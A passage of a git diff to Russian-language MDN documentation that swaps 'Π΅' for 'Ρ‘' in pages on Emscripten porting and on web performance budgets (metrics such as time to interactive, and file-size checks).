-<p>Π’ случаС, Ссли Π²Ρ‹ ΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π²Ρ‹ навСрняка Π·Π½Π°Π΅Ρ‚Π΅ ΠΎ <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten. </a>Π­Ρ‚ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ прСдоставляСт API, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ с ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ Ρ€Π΅Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ½Π³ΠΎΠΌ. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>emscripten_push_main_loop_blocker()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡƒΡŽ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ основной ΠΏΠΎΡ‚ΠΎΠΊ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ. Боздавая Ρ‚Π°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, создавая ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ порядкС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Π·Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ основной ΠΏΠΎΡ‚ΠΎΠΊ.</p>
+<p>Π’ случаС, Ссли Π²Ρ‹ ΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π²Ρ‹ навСрняка Π·Π½Π°Π΅Ρ‚Π΅ ΠΎ <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten. </a>Π­Ρ‚ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ прСдоставляСт API, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ с ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ Ρ€Π΅Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ½Π³ΠΎΠΌ. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>emscripten_push_main_loop_blocker()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡƒΡŽ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ основной ΠΏΠΎΡ‚ΠΎΠΊ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ. Боздавая Ρ‚Π°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, создавая ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ порядкС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Π·Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ основной ΠΏΠΎΡ‚ΠΎΠΊ.</p>
-<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, всС это Π½Π΅ отмСняСт нСобходимости Ρ€Π΅Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΊΠΎΠ΄Π° Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π» Π»ΡƒΡ‡ΡˆΠ΅ ΠΈ это Π·Π°ΠΉΠΌΠ΅Ρ‚ врСмя. Но для старта этого ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ достаточно.</p>
+<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, всС это Π½Π΅ отмСняСт нСобходимости Ρ€Π΅Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΊΠΎΠ΄Π° Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π» Π»ΡƒΡ‡ΡˆΠ΅ ΠΈ это Π·Π°ΠΉΠΌΡ‘Ρ‚ врСмя. Но для старта этого ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ достаточно.</p>
<h3 id="Насколько_Π΄Π°Π»Π΅ΠΊΠΎ_я_Π΄ΠΎΠ»ΠΆΠ΅Π½_Π·Π°ΠΉΡ‚ΠΈ">Насколько Π΄Π°Π»Π΅ΠΊΠΎ я Π΄ΠΎΠ»ΠΆΠ΅Π½ Π·Π°ΠΉΡ‚ΠΈ?</h3>
diff --git a/files/ru/web/performance/performance_budgets/index.html b/files/ru/web/performance/performance_budgets/index.html
index ff86f4b139..8cb841d20d 100644
--- a/files/ru/web/performance/performance_budgets/index.html
+++ b/files/ru/web/performance/performance_budgets/index.html
@@ -3,7 +3,7 @@ title: Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ
slug: Web/Performance/Performance_budgets
translation_of: Web/Performance/Performance_budgets
---
-<p><span class="seoSummary">Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ - это Π»ΠΈΠΌΠΈΡ‚ для прСдотвращСния рСгрСссий. Π­Ρ‚ΠΎΡ‚ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ, Ρ‚ΠΈΠΏΠ°ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠ², всСм рСсурсам прилоТСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ‰ΠΈΠΌ показатСлям (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="/en-US/docs/Glossary/Time_to_interactive">ВрСмя Π΄ΠΎ интСрактивности</a>) ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ показатСлям (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ВрСмя Π΄ΠΎ Π³Π»Π°Π²Π½ΠΎΠ³ΠΎ элСмСнта) ΠΈΠ»ΠΈ ΠΊ ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²Ρ‹ΠΌ значСниям ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. </span></p>
+<p><span class="seoSummary">Π‘ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ - это Π»ΠΈΠΌΠΈΡ‚ для прСдотвращСния рСгрСссий. Π­Ρ‚ΠΎΡ‚ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ, Ρ‚ΠΈΠΏΠ°ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠ², всСм рСсурсам прилоТСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ‰ΠΈΠΌ показатСлям (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="/en-US/docs/Glossary/Time_to_interactive">ВрСмя Π΄ΠΎ интСрактивности</a>) ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ показатСлям (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ВрСмя Π΄ΠΎ Π³Π»Π°Π²Π½ΠΎΠ³ΠΎ элСмСнта) ΠΈΠ»ΠΈ ΠΊ ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²Ρ‹ΠΌ значСниям ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. </span></p>
<h2 id="Π—Π°Ρ‡Π΅ΠΌ_Π½ΡƒΠΆΠ΅Π½_Π±ΡŽΠ΄ΠΆΠ΅Ρ‚">Π—Π°Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ΅Π½ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚?</h2>
@@ -14,12 +14,12 @@ translation_of: Web/Performance/Performance_budgets
<ul>
<li>Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="/en-US/docs/Glossary/Time_to_interactive">ВрСмя Π΄ΠΎ интСрактивности,</a> <a href="/en-US/docs/Glossary/First_contentful_paint">ΠŸΠ΅Ρ€Π²Π°Ρ отрисовка ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>).</li>
<li>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²Π΅Π½Π½Ρ‹ΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… JS Ρ„Π°ΠΉΠ»ΠΎΠ², количСство ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ).</li>
- <li>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. индСкс <a href="https://developers.google.com/speed/pagespeed/insights/">Pagespeed</a>, Π±Π°Π»Π»Ρ‹ Lighthouse).</li>
+ <li>ΠžΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. индСкс <a href="https://developers.google.com/speed/pagespeed/insights/">Pagespeed</a>, Π±Π°Π»Π»Ρ‹ Lighthouse).</li>
</ul>
<p>Главная Ρ†Π΅Π»ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° - сокращСниС рСгрСссии. Но этот ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ прилоТСния Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. НапримСр, Π² БСнтябрС 50% мСсячного Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Π° Π±Ρ‹Π»ΠΎ использовано Π·Π° нСдСлю - Π·Π½Π°Ρ‡ΠΈΡ‚, Π½ΡƒΠΆΠ½ΠΎ ΠΆΠ΄Π°Ρ‚ΡŒ увСличСния потрСблСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π° сСрвСра ΠΈ Ρ‚.Π΄.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΊΡ€Ρ‹Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ΄Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π² Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ вашСго прилоТСния ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ объСма Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ огромная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠΈΠ·Π΅Ρ€Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°).</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΊΡ€Ρ‹Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ΄Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π² Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ вашСго прилоТСния ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ ΠΎΠ±ΡŠΡ‘ΠΌΠ° Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ огромная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠΈΠ·Π΅Ρ€Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°).</p>
<h2 id="Как_ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ_Π±ΡŽΠ΄ΠΆΠ΅Ρ‚">Как ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚?</h2>
@@ -38,7 +38,7 @@ translation_of: Web/Performance/Performance_budgets
<p>Базовая Ρ†Π΅Π»ΡŒ - Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ показатСля <a href="https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/">"ВрСмя Π΄ΠΎ интСрактивности" Π΄ΠΎ 5 сСкунд ΠΏΡ€ΠΈ 3G/4G, ΠΈ Π΄ΠΎ 2 сСкунд для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π°Π³Ρ€ΡƒΠ·ΠΎΠΊ</a>. Однако, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ свои Ρ†Π΅Π»ΠΈ, основанныС Π½Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅ прилоТСния, Π³Π΅ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ тСхнологиях.</p>
-<p>НапримСр, для прилоТСния с большим количСством тСкста (Π±Π»ΠΎΠ³ΠΈ, новостныС сайты), ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ <a href="/en-US/docs/Glossary/First_contentful_paint">ΠŸΠ΅Ρ€Π²Π°Ρ отрисовка ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (First Contentful Paint)</a> Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ, с Ρ‡Π΅ΠΌ сталкиваСтся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ. Π˜Π½Ρ‹ΠΌΠΈ словами, этот ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚, ΠΊΠ°ΠΊ быстро ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ. И этот ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² спСцифичныС Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ. НапримСр, <a href="/en-US/docs/Web/CSS/@font-face/font-display">font-display</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ <a href="/en-US/docs/Learn/Performance/perceived_performance">Π‘ΡƒΠ±ΡŠΠ΅ΠΊΡ‚ΠΈΠ²Π½ΠΎ ΠžΡ‰ΡƒΡ‰Π°Π΅ΠΌΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ</a>).</p>
+<p>НапримСр, для прилоТСния с большим количСством тСкста (Π±Π»ΠΎΠ³ΠΈ, новостныС сайты), ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ <a href="/en-US/docs/Glossary/First_contentful_paint">ΠŸΠ΅Ρ€Π²Π°Ρ отрисовка ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (First Contentful Paint)</a> Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ, с Ρ‡Π΅ΠΌ сталкиваСтся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ. Π˜Π½Ρ‹ΠΌΠΈ словами, этот ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚, ΠΊΠ°ΠΊ быстро ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ. И этот ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² спСцифичныС Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ. НапримСр, <a href="/en-US/docs/Web/CSS/@font-face/font-display">font-display</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ <a href="/en-US/docs/Learn/Performance/perceived_performance">Π‘ΡƒΠ±ΡŠΠ΅ΠΊΡ‚ΠΈΠ²Π½ΠΎ ΠžΡ‰ΡƒΡ‰Π°Π΅ΠΌΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ</a>).</p>
<p>Но самая главная Ρ†Π΅Π»ΡŒ Ρ‚Π°ΠΊΠΈΡ… Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² - это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ коррСляции ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ БизнСс-Ρ†Π΅Π»Π΅ΠΉ. Когда Π²Ρ‹ опрСдСляСтС ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΠΈ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΎΠΏΡ‹Ρ‚Π΅. Волько ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΈΠΊΡ‚ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ просто ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π²Π΅Ρ€ΡΠΈΡŽ, Π½ΠΎ ΠΈ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ вСрнётся.</p>
@@ -53,7 +53,7 @@ translation_of: Web/Performance/Performance_budgets
<p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² Ρ„Π°ΠΉΠ»ΠΎΠ² - это лишь ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€ΡƒΠ±Π΅ΠΆ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ рСгрСссий. ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ этих ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΉ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ слоТным, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя сторонниС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ΠΈΠ»ΠΈ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π² Production сборках.</p>
